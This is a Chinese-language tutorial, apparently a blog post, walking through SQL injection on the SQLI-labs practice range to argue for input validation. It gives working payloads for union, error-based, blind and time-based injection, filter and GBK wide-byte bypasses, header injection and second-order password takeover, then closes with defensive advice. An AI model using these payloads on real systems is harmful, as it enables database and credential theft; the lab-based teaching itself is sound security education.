永远不要相信用户的输入：从 SQL 注入攻防看输入验证的重要性

学习编程之初就常被告诫：“永远不要相信用户的输入”，但实际编码中，可能因为各种原因而忽略这点，本文尝试以 SQL 注入的角度探寻校验输入的重要性

以下实验均以 SQLI labs 靶场为例

1. 联合注入（Union-Based）

来自：Less-1

这是一个常见的查询页面。http://127.0.0.1/Less-1/?id=1 ，通过 id=1 传递参数。后端常见的 SQL 写法：SELECT * FROM users WHERE id='$id' LIMIT 0,1;

攻击者可以通过构造 id 的参数值，执行任意的 SQL 语句：

其中关键步骤是构造 1' --+：

通过某个具体参数 1 和单引号 ' 来结束前面的语句：SELECT * FROM users WHERE id='，使其成为合法的 SQL 语句： SELECT * FROM users WHERE id='1'
通过 --+ 来注释后面的 ' LIMIT 0,1";

基于上面的原理，我们就可以在 1' 和 --+ 之间插入语句了，进行联合注入，具体步骤如下：

通过 order by 测列宽：?id=-1' order by 4 --+，通过不断尝试和错误提示可以得知列宽为 3
判断回显值对应的位置，?id=-1' union select 1,2,3 --+，2 和 3 这两个位置都可供使用
在某个可回显的位置执行 select 语句：?id=-1' union select 1,2, database() --+

你可以能会想，这又啥用呢？但实际上在没有严格权限管理的数据库上，我们可以通过构造下面语句获得所有库表的信息

--+ 1. 查库：查询所有数据库的名称

SELECT schema_name FROM information_schema.schemata

--+ 2. 查表：查询指定数据库中的所有表

SELECT table_name FROM information_schema.tables WHERE table_schema='security'

--+ 3. 查列：查询表中的所有列

SELECT column_name FROM information_schema.columns WHERE table_name='users'

--+ 4. 查字段：获取用户表中的敏感数据，如用户名和密码

SELECT username, password FROM security.users

举个例子：我们可以通过构造语句，获取所有的账户和密码，将其通过 ~ 进行分隔：?id=-1' union select 1,2, group_concat(concat_ws('~',username,password)) from security.users --+

2. 报错注入（Error-Based）

来自：Less-5

不是所有场景都会回显数据库值，那是否就安全了？攻击者可以通过显示的错误来获取数据库值

--+ 0x7e 为 16 进制编码的 ~

SELECT updatexml(1, concat(0x7e, database()), 1) FROM DUAL;

通过函数构造错误，将期望的信息以错误的信息提示出来：?id=1' and updatexml(1,concat(0x7e,(database())),1) --+

XPATH syntax error: '~security'

通过上面的错误我们就知道当前库名为：security，类似地可以执行任意语句

3. 布尔盲注（Boolean-Based Blind）

来自：Less-7

一般项目都会隐藏错误堆栈，只提示成功或者失败，可以使用布尔盲注：?id=1')) and left((select database()),1)='s'--+

通过 order by 测列宽 ?id=1')) order by 4 --+
通过 left 函数，逐个字符地遍历判断 ?id=1')) and left((select database()),1)='s'--+ ，当前库名首字母为 s 时会提示正确，否则提示错误

tips：这里使用的是 ?id=1')) 有别于前文的 1'，这是因为不同 SQL 语句可能对变量采用不同的闭合方式，注入时要符合原 SQL 语句，否则会出现 SQL 语法错误

通过类似的原理我们可以按照行列顺序依次遍历：

--+ 0x7365637572697479 为 16 进制编码的 security，使用 16 进制编码可以避免使用单引号

?id=1')) and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>1--+

再配合二分法提高效率，最终也能得到所有库表信息

4. 时间盲注（Time-Based Blind）

来自：Less-9

如果没给出提示，或者无论正确与否都给出相同提示，那该怎么办呢？可以使用时间盲注

在语句中调用 sleep() 函数，通过网页响应速度来判断是否为我们预期的结果

构造 ?id=10' and sleep(5) --+ 来判断当前接口是否支持时间盲注，遍历过程与布尔盲注类似，增加了 if 函数，结果符合预期返回 1，否则执行 sleep(5)

?id=1' and if(ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>1112,1,sleep(5))--+

5. 绕过过滤（Bypass）

来自：Less-25

既然可以通过盲注来执行任意指令，那就直接加强参数的检查，替换（或过滤）所有的 or 和 and

攻击者可以通过双写的方式绕过：oorr → 被过滤后变为 or，也可以通过 || 替代 OR，&& 替代 AND

--+ ;%00 等效于 --+ 。%00是 URL 编码表示的空字符（NUL 字符），其 ASCII 值为 0

?id=10' oorrder by 2;%00

6. 宽字节注入（GBK Bypass）

来自：Less-32

既然替换保留字符也能被绕过，那就将参数中的单引号进行转义：' 转义为 \'

攻击者可以通过宽字节注入的方式使得转义符号失效，构造请求?id=1%df' order by 4 --+

单引号为 %27，而 \ 为 %5c。PHP 后端在接受到参数时发现有单引号，就自动在其前面加上\，变成 \'，即 %5c%27

我们在其前面加上 %df，构造出 %df\'，即 %df%5c%27

数据库使用 GBK 编码时 %df%5c 会被解码为 運，\ 被“吃掉了”，单引号被保留，故可以执行我们期望的 SQL。类似的方法还有将 UTF-8 转换为 UTF-16 或 UTF-32，将 ' 转为 UTF-16

7. Header 注入（HTTP Header Injection）

来自：Less-18

假设我严格地检查所有参数，那是否就安全了呢？

攻击者可以在插入请求头信息时进行攻击，下面为常见的登陆信息收集，uagent 来自用户的请求头 User-Agent

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

在访问页面时构造 HTTP Header：User-Agent: 'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'= '1，配合报错注入获得库表信息。类似的攻击还可以使用 Referer 和 Cookie 等等

8. 二次注入（Second-Order）

来自：Less-24

假设我们对所有参数和 HTTP Header 都严格检查，肯定就安全了吧？攻击者还可以通过二次注入的方式绕过你的检查

这是一个经典的用户登陆页面，包含创建用户，登陆后可以修改用户密码

修改密码的 SQL 如下：

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

攻击者可以通过构建用户 admin'#

登陆该用户修改密码，实现间接修改掉 admin 超级用户的密码：

UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'

--+ 移除注释，等价于

UPDATE users SET PASSWORD='$pass' where username='admin'

结尾

我们可能觉得现代框架和工具链可以避免这些问题，但通过上面的例子可以感受到，道高一尺魔高一丈，稍有疏忽就可能被利用

SQL注入的本质是：攻击者通过操控用户输入的方式，改变原本的SQL查询结构，从而绕过应用程序的安全策略，执行恶意指令。我们可以从不同的角度进行防御：

校验用户输入
操作前进行详尽的校验包括已入库的数据
细化数据库账户权限
结合 WAF、日志监控、定期渗透测试
...

SQL注入攻击揭示的不仅是技术漏洞，更指向一个通用安全原则：任何外部输入都可能在与现有流程交互时引发非预期行为。这一安全思维可迁移至日常生活风险防控体系：

查杀未知邮件的附件
逐一检查合同
对陌生通知通过官方渠道二次确认
仔细评审合作方提供的材料
...

参考资料

本文只为抛砖引玉，精简了部分细节，详情可以参考以下教程：